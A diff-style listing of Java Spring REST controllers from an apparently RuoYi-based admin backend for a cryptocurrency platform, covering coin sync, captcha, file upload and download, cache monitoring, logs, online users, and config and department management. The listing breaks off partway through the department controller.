import javax.annotation.Resource;
import java.util.ArrayList;
import java.util.List;
@RestController
@RequestMapping("/marketCallBack")
public class MarketCallBackController {
@Resource
private IKlineSymbolService klineSymbolService;
/**
* 同步币种信息
* @param klineSymbol
* @return
*/
@PostMapping("/coin")
public AjaxResult list(@RequestBody KlineSymbol klineSymbol)
{
String msg = vaildateParam(klineSymbol);
if(StringUtils.isNotEmpty(msg)){
return AjaxResult.error(msg);
}
KlineSymbol klineSymbol1 = klineSymbolService.getOne(new LambdaQueryWrapper<KlineSymbol>().eq(KlineSymbol::getSymbol, klineSymbol.getSymbol()));
if(null != klineSymbol1){
klineSymbol.setId(klineSymbol1.getId());
}
klineSymbolService.saveOrUpdate(klineSymbol);
return AjaxResult.success();
}
private String vaildateParam(KlineSymbol klineSymbol) {
if(null == klineSymbol){
return "参数不能为空";
}
if(StringUtils.isBlank(klineSymbol.getSymbol())){
return "币种不能为空";
}
if(StringUtils.isBlank(klineSymbol.getMarket())){
return "交易所不能为空";
}
if(StringUtils.isBlank(klineSymbol.getSlug())){
return "币种名称不能为空";
}
if(null == klineSymbol.getStatus()){
return "币种是否启用不能为空";
}
return "";
}
public static void main(String[] args) {
HttpResponse execute = HttpUtil.createGet("https://api.huobi.pro/v1/common/currencys").execute();
if (execute.isOk()){
final String result = execute.body();
System.out.println(result);
JSONObject ret = JSONObject.parseObject(result);
com.alibaba.fastjson.JSONArray a =(com.alibaba.fastjson.JSONArray) ret.get("data");
System.out.println(result);
}
}
}

94
ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java

@ -0,0 +1,94 @@
package com.ruoyi.web.controller.common;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.util.concurrent.TimeUnit;
import javax.annotation.Resource;
import javax.imageio.ImageIO;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.FastByteArrayOutputStream;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import com.google.code.kaptcha.Producer;
import com.ruoyi.common.config.RuoYiConfig;
import com.ruoyi.common.constant.CacheConstants;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.redis.RedisCache;
import com.ruoyi.common.utils.sign.Base64;
import com.ruoyi.common.utils.uuid.IdUtils;
import com.ruoyi.system.service.ISysConfigService;
/**
* 验证码操作处理
*
* @author ruoyi
*/
@RestController
public class CaptchaController
{
@Resource(name = "captchaProducer")
private Producer captchaProducer;
@Resource(name = "captchaProducerMath")
private Producer captchaProducerMath;
@Autowired
private RedisCache redisCache;
@Autowired
private ISysConfigService configService;
/**
* 生成验证码
*/
@GetMapping("/captchaImage")
public AjaxResult getCode(HttpServletResponse response) throws IOException
{
AjaxResult ajax = AjaxResult.success();
boolean captchaEnabled = configService.selectCaptchaEnabled();
ajax.put("captchaEnabled", captchaEnabled);
if (!captchaEnabled)
{
return ajax;
}
// 保存验证码信息
String uuid = IdUtils.simpleUUID();
String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + uuid;
String capStr = null, code = null;
BufferedImage image = null;
// 生成验证码
String captchaType = RuoYiConfig.getCaptchaType();
if ("math".equals(captchaType))
{
String capText = captchaProducerMath.createText();
capStr = capText.substring(0, capText.lastIndexOf("@"));
code = capText.substring(capText.lastIndexOf("@") + 1);
image = captchaProducerMath.createImage(capStr);
}
else if ("char".equals(captchaType))
{
capStr = code = captchaProducer.createText();
image = captchaProducer.createImage(capStr);
}
redisCache.setCacheObject(verifyKey, code, Constants.CAPTCHA_EXPIRATION, TimeUnit.MINUTES);
// 转换流信息写出
FastByteArrayOutputStream os = new FastByteArrayOutputStream();
try
{
ImageIO.write(image, "jpg", os);
}
catch (IOException e)
{
return AjaxResult.error(e.getMessage());
}
ajax.put("uuid", uuid);
ajax.put("img", Base64.encode(os.toByteArray()));
return ajax;
}
}

240
ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java

@ -0,0 +1,240 @@
package com.ruoyi.web.controller.common;
import cn.hutool.json.JSONUtil;
import com.ruoyi.bussiness.domain.setting.*;
import com.ruoyi.bussiness.domain.vo.RecoedEnumVO;
import com.ruoyi.bussiness.service.SettingService;
import com.ruoyi.bussiness.service.impl.FileServiceImpl;
import com.ruoyi.common.config.RuoYiConfig;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.redis.RedisCache;
import com.ruoyi.common.enums.CachePrefix;
import com.ruoyi.common.enums.RecordEnum;
import com.ruoyi.common.enums.SettingEnum;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.file.FileUploadUtils;
import com.ruoyi.common.utils.file.FileUtils;
import com.ruoyi.framework.config.ServerConfig;
import com.ruoyi.telegrambot.TelegramBotConfig;
import io.swagger.annotations.ApiOperation;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.telegram.telegrambots.meta.exceptions.TelegramApiException;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.*;
/**
* 通用请求处理
*
* @author ruoyi
*/
@RestController
@RequestMapping("/common")
public class CommonController
{
private static final Logger log = LoggerFactory.getLogger(CommonController.class);
@Resource
private ServerConfig serverConfig;
@Resource
private RedisCache redisCache;
@Resource
private FileServiceImpl fileService;
@Resource
private TelegramBotConfig telegramBotConfig;
@Resource
private SettingService settingService;
private static final String FILE_DELIMETER = ",";
/**
* 通用下载请求
*
* @param fileName 文件名称
* @param delete 是否删除
*/
@GetMapping("/download")
public void fileDownload(String fileName, Boolean delete, HttpServletResponse response, HttpServletRequest request)
{
try
{
if (!FileUtils.checkAllowDownload(fileName))
{
throw new Exception(StringUtils.format("文件名称({})非法,不允许下载。 ", fileName));
}
String realFileName = System.currentTimeMillis() + fileName.substring(fileName.indexOf("_") + 1);
String filePath = RuoYiConfig.getDownloadPath() + fileName;
response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
FileUtils.setAttachmentResponseHeader(response, realFileName);
FileUtils.writeBytes(filePath, response.getOutputStream());
if (delete)
{
FileUtils.deleteFile(filePath);
}
}
catch (Exception e)
{
log.error("下载文件失败", e);
}
}
/**
* 通用上传请求单个
*/
@PostMapping("/upload")
public AjaxResult uploadFile(MultipartFile file) throws Exception
{
try {
String filename = file.getResource().getFilename();
//这里文件名用了uuid 防止重复,可以根据自己的需要来写
String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length());
name = name.replace("-", "");
String url = fileService.uploadFileOSS(file,name);
AjaxResult ajax = AjaxResult.success();
ajax.put("url", url);
ajax.put("fileName", name);
ajax.put("newFileName", FileUtils.getName(name));
ajax.put("originalFilename", file.getOriginalFilename());
return ajax;
} catch (Exception e) {
e.getMessage();
return AjaxResult.error(e.getMessage());
}
}
/**
* 通用上传请求多个
*/
@PostMapping("/uploads")
public AjaxResult uploadFiles(List<MultipartFile> files) throws Exception
{
try
{
// 上传文件路径
String filePath = RuoYiConfig.getUploadPath();
List<String> urls = new ArrayList<String>();
List<String> fileNames = new ArrayList<String>();
List<String> newFileNames = new ArrayList<String>();
List<String> originalFilenames = new ArrayList<String>();
for (MultipartFile file : files)
{
// 上传并返回新文件名称
String fileName = FileUploadUtils.upload(filePath, file);
String url = serverConfig.getUrl() + fileName;
urls.add(url);
fileNames.add(fileName);
newFileNames.add(FileUtils.getName(fileName));
originalFilenames.add(file.getOriginalFilename());
}
AjaxResult ajax = AjaxResult.success();
ajax.put("urls", StringUtils.join(urls, FILE_DELIMETER));
ajax.put("fileNames", StringUtils.join(fileNames, FILE_DELIMETER));
ajax.put("newFileNames", StringUtils.join(newFileNames, FILE_DELIMETER));
ajax.put("originalFilenames", StringUtils.join(originalFilenames, FILE_DELIMETER));
return ajax;
}
catch (Exception e)
{
return AjaxResult.error(e.getMessage());
}
}
/**
* 本地资源通用下载
*/
@GetMapping("/download/resource")
public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response)
throws Exception
{
try
{
if (!FileUtils.checkAllowDownload(resource))
{
throw new Exception(StringUtils.format("资源文件({})非法,不允许下载。 ", resource));
}
// 本地资源路径
String localPath = RuoYiConfig.getProfile();
// 数据库资源地址
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
// 下载名称
String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
FileUtils.setAttachmentResponseHeader(response, downloadName);
FileUtils.writeBytes(downloadPath, response.getOutputStream());
}
catch (Exception e)
{
log.error("下载文件失败", e);
}
}
@PostMapping("/upload/OSS")
public AjaxResult uploadFileOSS(MultipartFile file, String remark) {
try {
String filename = file.getResource().getFilename();
//这里文件名用了uuid 防止重复,可以根据自己的需要来写
String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length());
name = name.replace("-", "");
String url = fileService.uploadFileOSS(file,name);
AjaxResult ajax = AjaxResult.success();
ajax.put("fileName", name);
ajax.put("url", url);
return ajax;
} catch (Exception e) {
e.getMessage();
return AjaxResult.error(e.getMessage());
}
}
@PostMapping("/recordType")
public AjaxResult recordType() {
List<RecoedEnumVO> recoedEnumVOS = new ArrayList<>();
LinkedHashMap<Integer, String> map = RecordEnum.getMap();
for (Integer s : map.keySet()) {
RecoedEnumVO recoedEnumVO = new RecoedEnumVO();
recoedEnumVO.setKey(s);
recoedEnumVO.setValue(map.get(s));
recoedEnumVOS.add(recoedEnumVO);
}
System.out.println(map);
return AjaxResult.success(recoedEnumVOS);
}
@PostMapping("/reStartBot")
public AjaxResult reStartBot() {
try {
telegramBotConfig.start();
} catch (TelegramApiException e) {
e.printStackTrace();
}
return AjaxResult.success();
}
@PostMapping("/getCoinPrice")
public AjaxResult getCoinPrice(@RequestBody String coin) {
return AjaxResult.success(redisCache.getCacheObject(CachePrefix.CURRENCY_CLOSE_PRICE.getPrefix() + coin.toLowerCase()));
}
@ApiOperation(value = "获取所有配置")
@PostMapping("/getAllSetting")
public AjaxResult getAllSetting() {
//提现
Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name());
HashMap<String, Object> map = new HashMap<>();
//图形验证码
setting = settingService.get(SettingEnum.MARKET_URL.name());
map.put("MARKET_URL",setting == null ? new MarketUrlSetting() :
JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class));
return AjaxResult.success(map);
}
}

120
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java

@ -0,0 +1,120 @@
package com.ruoyi.web.controller.monitor;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.core.RedisCallback;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.constant.CacheConstants;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.SysCache;
/**
* 缓存监控
*
* @author ruoyi
*/
@RestController
@RequestMapping("/monitor/cache")
public class CacheController
{
@Autowired
private RedisTemplate<String, String> redisTemplate;
private final static List<SysCache> caches = new ArrayList<SysCache>();
{
caches.add(new SysCache(CacheConstants.LOGIN_TOKEN_KEY, "用户信息"));
caches.add(new SysCache(CacheConstants.SYS_CONFIG_KEY, "配置信息"));
caches.add(new SysCache(CacheConstants.SYS_DICT_KEY, "数据字典"));
caches.add(new SysCache(CacheConstants.CAPTCHA_CODE_KEY, "验证码"));
caches.add(new SysCache(CacheConstants.REPEAT_SUBMIT_KEY, "防重提交"));
caches.add(new SysCache(CacheConstants.RATE_LIMIT_KEY, "限流处理"));
caches.add(new SysCache(CacheConstants.PWD_ERR_CNT_KEY, "密码错误次数"));
}
@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
@GetMapping()
public AjaxResult getInfo() throws Exception
{
Properties info = (Properties) redisTemplate.execute((RedisCallback<Object>) connection -> connection.info());
Properties commandStats = (Properties) redisTemplate.execute((RedisCallback<Object>) connection -> connection.info("commandstats"));
Object dbSize = redisTemplate.execute((RedisCallback<Object>) connection -> connection.dbSize());
Map<String, Object> result = new HashMap<>(3);
result.put("info", info);
result.put("dbSize", dbSize);
List<Map<String, String>> pieList = new ArrayList<>();
commandStats.stringPropertyNames().forEach(key -> {
Map<String, String> data = new HashMap<>(2);
String property = commandStats.getProperty(key);
data.put("name", StringUtils.removeStart(key, "cmdstat_"));
data.put("value", StringUtils.substringBetween(property, "calls=", ",usec"));
pieList.add(data);
});
result.put("commandStats", pieList);
return AjaxResult.success(result);
}
@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
@GetMapping("/getNames")
public AjaxResult cache()
{
return AjaxResult.success(caches);
}
@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
@GetMapping("/getKeys/{cacheName}")
public AjaxResult getCacheKeys(@PathVariable String cacheName)
{
Set<String> cacheKeys = redisTemplate.keys(cacheName + "*");
return AjaxResult.success(cacheKeys);
}
@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
@GetMapping("/getValue/{cacheName}/{cacheKey}")
public AjaxResult getCacheValue(@PathVariable String cacheName, @PathVariable String cacheKey)
{
String cacheValue = redisTemplate.opsForValue().get(cacheKey);
SysCache sysCache = new SysCache(cacheName, cacheKey, cacheValue);
return AjaxResult.success(sysCache);
}
@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
@DeleteMapping("/clearCacheName/{cacheName}")
public AjaxResult clearCacheName(@PathVariable String cacheName)
{
Collection<String> cacheKeys = redisTemplate.keys(cacheName + "*");
redisTemplate.delete(cacheKeys);
return AjaxResult.success();
}
@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
@DeleteMapping("/clearCacheKey/{cacheKey}")
public AjaxResult clearCacheKey(@PathVariable String cacheKey)
{
redisTemplate.delete(cacheKey);
return AjaxResult.success();
}
@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
@DeleteMapping("/clearCacheAll")
public AjaxResult clearCacheAll()
{
Collection<String> cacheKeys = redisTemplate.keys("*");
redisTemplate.delete(cacheKeys);
return AjaxResult.success();
}
}

27
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java

@ -0,0 +1,27 @@
package com.ruoyi.web.controller.monitor;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.framework.web.domain.Server;
/**
* 服务器监控
*
* @author ruoyi
*/
@RestController
@RequestMapping("/monitor/server")
public class ServerController
{
@PreAuthorize("@ss.hasPermi('monitor:server:list')")
@GetMapping()
public AjaxResult getInfo() throws Exception
{
Server server = new Server();
server.copyTo();
return AjaxResult.success(server);
}
}

82
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java

@ -0,0 +1,82 @@
package com.ruoyi.web.controller.monitor;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.framework.web.service.SysPasswordService;
import com.ruoyi.system.domain.SysLogininfor;
import com.ruoyi.system.service.ISysLogininforService;
/**
* 系统访问记录
*
* @author ruoyi
*/
@RestController
@RequestMapping("/monitor/logininfor")
public class SysLogininforController extends BaseController
{
@Autowired
private ISysLogininforService logininforService;
@Autowired
private SysPasswordService passwordService;
@PreAuthorize("@ss.hasPermi('monitor:logininfor:list')")
@GetMapping("/list")
public TableDataInfo list(SysLogininfor logininfor)
{
startPage();
List<SysLogininfor> list = logininforService.selectLogininforList(logininfor);
return getDataTable(list);
}
@Log(title = "登录日志", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('monitor:logininfor:export')")
@PostMapping("/export")
public void export(HttpServletResponse response, SysLogininfor logininfor)
{
List<SysLogininfor> list = logininforService.selectLogininforList(logininfor);
ExcelUtil<SysLogininfor> util = new ExcelUtil<SysLogininfor>(SysLogininfor.class);
util.exportExcel(response, list, "登录日志");
}
@PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')")
@Log(title = "登录日志", businessType = BusinessType.DELETE)
@DeleteMapping("/{infoIds}")
public AjaxResult remove(@PathVariable Long[] infoIds)
{
return toAjax(logininforService.deleteLogininforByIds(infoIds));
}
@PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')")
@Log(title = "登录日志", businessType = BusinessType.CLEAN)
@DeleteMapping("/clean")
public AjaxResult clean()
{
logininforService.cleanLogininfor();
return success();
}
@PreAuthorize("@ss.hasPermi('monitor:logininfor:unlock')")
@Log(title = "账户解锁", businessType = BusinessType.OTHER)
@GetMapping("/unlock/{userName}")
public AjaxResult unlock(@PathVariable("userName") String userName)
{
passwordService.clearLoginRecordCache(userName);
return success();
}
}

69
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java

@ -0,0 +1,69 @@
package com.ruoyi.web.controller.monitor;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.system.domain.SysOperLog;
import com.ruoyi.system.service.ISysOperLogService;
/**
* 操作日志记录
*
* @author ruoyi
*/
@RestController
@RequestMapping("/monitor/operlog")
public class SysOperlogController extends BaseController
{
@Autowired
private ISysOperLogService operLogService;
@PreAuthorize("@ss.hasPermi('monitor:operlog:list')")
@GetMapping("/list")
public TableDataInfo list(SysOperLog operLog)
{
startPage();
List<SysOperLog> list = operLogService.selectOperLogList(operLog);
return getDataTable(list);
}
@Log(title = "操作日志", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('monitor:operlog:export')")
@PostMapping("/export")
public void export(HttpServletResponse response, SysOperLog operLog)
{
List<SysOperLog> list = operLogService.selectOperLogList(operLog);
ExcelUtil<SysOperLog> util = new ExcelUtil<SysOperLog>(SysOperLog.class);
util.exportExcel(response, list, "操作日志");
}
@Log(title = "操作日志", businessType = BusinessType.DELETE)
@PreAuthorize("@ss.hasPermi('monitor:operlog:remove')")
@DeleteMapping("/{operIds}")
public AjaxResult remove(@PathVariable Long[] operIds)
{
return toAjax(operLogService.deleteOperLogByIds(operIds));
}
@Log(title = "操作日志", businessType = BusinessType.CLEAN)
@PreAuthorize("@ss.hasPermi('monitor:operlog:remove')")
@DeleteMapping("/clean")
public AjaxResult clean()
{
operLogService.cleanOperLog();
return success();
}
}

83
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java

@ -0,0 +1,83 @@
package com.ruoyi.web.controller.monitor;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.constant.CacheConstants;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.core.redis.RedisCache;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.SysUserOnline;
import com.ruoyi.system.service.ISysUserOnlineService;
/**
* 在线用户监控
*
* @author ruoyi
*/
@RestController
@RequestMapping("/monitor/online")
public class SysUserOnlineController extends BaseController
{
@Autowired
private ISysUserOnlineService userOnlineService;
@Autowired
private RedisCache redisCache;
@PreAuthorize("@ss.hasPermi('monitor:online:list')")
@GetMapping("/list")
public TableDataInfo list(String ipaddr, String userName)
{
Collection<String> keys = redisCache.keys(CacheConstants.LOGIN_TOKEN_KEY + "*");
List<SysUserOnline> userOnlineList = new ArrayList<SysUserOnline>();
for (String key : keys)
{
LoginUser user = redisCache.getCacheObject(key);
if (StringUtils.isNotEmpty(ipaddr) && StringUtils.isNotEmpty(userName))
{
userOnlineList.add(userOnlineService.selectOnlineByInfo(ipaddr, userName, user));
}
else if (StringUtils.isNotEmpty(ipaddr))
{
userOnlineList.add(userOnlineService.selectOnlineByIpaddr(ipaddr, user));
}
else if (StringUtils.isNotEmpty(userName) && StringUtils.isNotNull(user.getUser()))
{
userOnlineList.add(userOnlineService.selectOnlineByUserName(userName, user));
}
else
{
userOnlineList.add(userOnlineService.loginUserToUserOnline(user));
}
}
Collections.reverse(userOnlineList);
userOnlineList.removeAll(Collections.singleton(null));
return getDataTable(userOnlineList);
}
/**
* 强退用户
*/
@PreAuthorize("@ss.hasPermi('monitor:online:forceLogout')")
@Log(title = "在线用户", businessType = BusinessType.FORCE)
@DeleteMapping("/{tokenId}")
public AjaxResult forceLogout(@PathVariable String tokenId)
{
redisCache.deleteObject(CacheConstants.LOGIN_TOKEN_KEY + tokenId);
return success();
}
}

133
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysConfigController.java

@ -0,0 +1,133 @@
package com.ruoyi.web.controller.system;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.system.domain.SysConfig;
import com.ruoyi.system.service.ISysConfigService;
/**
* 参数配置 信息操作处理
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/config")
public class SysConfigController extends BaseController
{
@Autowired
private ISysConfigService configService;
/**
* 获取参数配置列表
*/
@PreAuthorize("@ss.hasPermi('system:config:list')")
@GetMapping("/list")
public TableDataInfo list(SysConfig config)
{
startPage();
List<SysConfig> list = configService.selectConfigList(config);
return getDataTable(list);
}
@Log(title = "参数管理", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('system:config:export')")
@PostMapping("/export")
public void export(HttpServletResponse response, SysConfig config)
{
List<SysConfig> list = configService.selectConfigList(config);
ExcelUtil<SysConfig> util = new ExcelUtil<SysConfig>(SysConfig.class);
util.exportExcel(response, list, "参数数据");
}
/**
* 根据参数编号获取详细信息
*/
@PreAuthorize("@ss.hasPermi('system:config:query')")
@GetMapping(value = "/{configId}")
public AjaxResult getInfo(@PathVariable Long configId)
{
return success(configService.selectConfigById(configId));
}
/**
* 根据参数键名查询参数值
*/
@GetMapping(value = "/configKey/{configKey}")
public AjaxResult getConfigKey(@PathVariable String configKey)
{
return success(configService.selectConfigByKey(configKey));
}
/**
* 新增参数配置
*/
@PreAuthorize("@ss.hasPermi('system:config:add')")
@Log(title = "参数管理", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@Validated @RequestBody SysConfig config)
{
if (!configService.checkConfigKeyUnique(config))
{
return error("新增参数'" + config.getConfigName() + "'失败,参数键名已存在");
}
config.setCreateBy(getUsername());
return toAjax(configService.insertConfig(config));
}
/**
* 修改参数配置
*/
@PreAuthorize("@ss.hasPermi('system:config:edit')")
@Log(title = "参数管理", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@Validated @RequestBody SysConfig config)
{
if (!configService.checkConfigKeyUnique(config))
{
return error("修改参数'" + config.getConfigName() + "'失败,参数键名已存在");
}
config.setUpdateBy(getUsername());
return toAjax(configService.updateConfig(config));
}
/**
* 删除参数配置
*/
@PreAuthorize("@ss.hasPermi('system:config:remove')")
@Log(title = "参数管理", businessType = BusinessType.DELETE)
@DeleteMapping("/{configIds}")
public AjaxResult remove(@PathVariable Long[] configIds)
{
configService.deleteConfigByIds(configIds);
return success();
}
/**
* 刷新参数缓存
*/
@PreAuthorize("@ss.hasPermi('system:config:remove')")
@Log(title = "参数管理", businessType = BusinessType.CLEAN)
@DeleteMapping("/refreshCache")
public AjaxResult refreshCache()
{
configService.resetConfigCache();
return success();
}
}

132
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java

@ -0,0 +1,132 @@
package com.ruoyi.web.controller.system;
import java.util.List;
import org.apache.commons.lang3.ArrayUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysDept;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.service.ISysDeptService;
/**
* 部门信息
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/dept")
public class SysDeptController extends BaseController
{
@Autowired
private ISysDeptService deptService;
/**
* 获取部门列表
*/
@PreAuthorize("@ss.hasPermi('system:dept:list')")
@GetMapping("/list")
public AjaxResult list(SysDept dept)
{
List<SysDept> depts = deptService.selectDeptList(dept);
return success(depts);
}
/**
* 查询部门列表排除节点
*/
@PreAuthorize("@ss.hasPermi('system:dept:list')")
@GetMapping("/list/exclude/{deptId}")
public AjaxResult excludeChild(@PathVariable(value = "deptId", required = false) Long deptId)
{
List<SysDept> depts = deptService.selectDeptList(new SysDept());
depts.removeIf(d -> d.getDeptId().intValue() == deptId || ArrayUtils.contains(StringUtils.split(d.getAncestors(), ","), deptId + ""));
return success(depts);
}
/**
* 根据部门编号获取详细信息
*/
@PreAuthorize("@ss.hasPermi('system:dept:query')")
@GetMapping(value = "/{deptId}")
public AjaxResult getInfo(@PathVariable Long deptId)
{
deptService.checkDeptDataScope(deptId);
return success(deptService.selectDeptById(deptId));
}
/**
* 新增部门
*/
@PreAuthorize("@ss.hasPermi('system:dept:add')")
@Log(title = "部门管理", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@Validated @RequestBody SysDept dept)
{
if (!deptService.checkDeptNameUnique(dept))
{
return error("新增部门'" + dept.getDeptName() + "'失败,部门名称已存在");
}
dept.setCreateBy(getUsername());
return toAjax(deptService.insertDept(dept));
}
/**
* 修改部门
*/
@PreAuthorize("@ss.hasPermi('system:dept:edit')")
@Log(title = "部门管理", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@Validated @RequestBody SysDept dept)
{
Long deptId = dept.getDeptId();
deptService.checkDeptDataScope(deptId);
if (!deptService.checkDeptNameUnique(dept))
{
return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在");
}
else if (dept.getParentId().equals(deptId))
{
return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己");
}
else if (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus()) && deptService.selectNormalChildrenDeptById(deptId) > 0)
{
return error("该部门包含未停用的子部门!");
}
dept.setUpdateBy(getUsername());
return toAjax(deptService.updateDept(dept));
}
/**
* 删除部门
*/
@PreAuthorize("@ss.hasPermi('system:dept:remove')")
@Log(title = "部门管理", businessType = BusinessType.DELETE)
@DeleteMapping("/{deptId}")
